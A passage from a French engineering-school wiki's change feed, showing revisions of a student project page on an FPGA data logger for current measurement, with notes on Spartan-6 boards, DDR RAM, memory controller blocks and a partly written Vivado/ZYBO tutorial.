[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto6.PNG&amp;diff=27261</id>
		<title>Fichier:Tuto6.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto6.PNG&amp;diff=27261"/>
				<updated>2016-02-16T16:22:53Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto5.PNG&amp;diff=27260</id>
		<title>Fichier:Tuto5.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto5.PNG&amp;diff=27260"/>
				<updated>2016-02-16T16:22:05Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27259</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27259"/>
				<updated>2016-02-16T16:19:45Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Création d'une carte bootable sur ZYBO */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt; &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27257</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27257"/>
				<updated>2016-02-16T16:18:31Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Création d'une carte bootable sur ZYBO */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
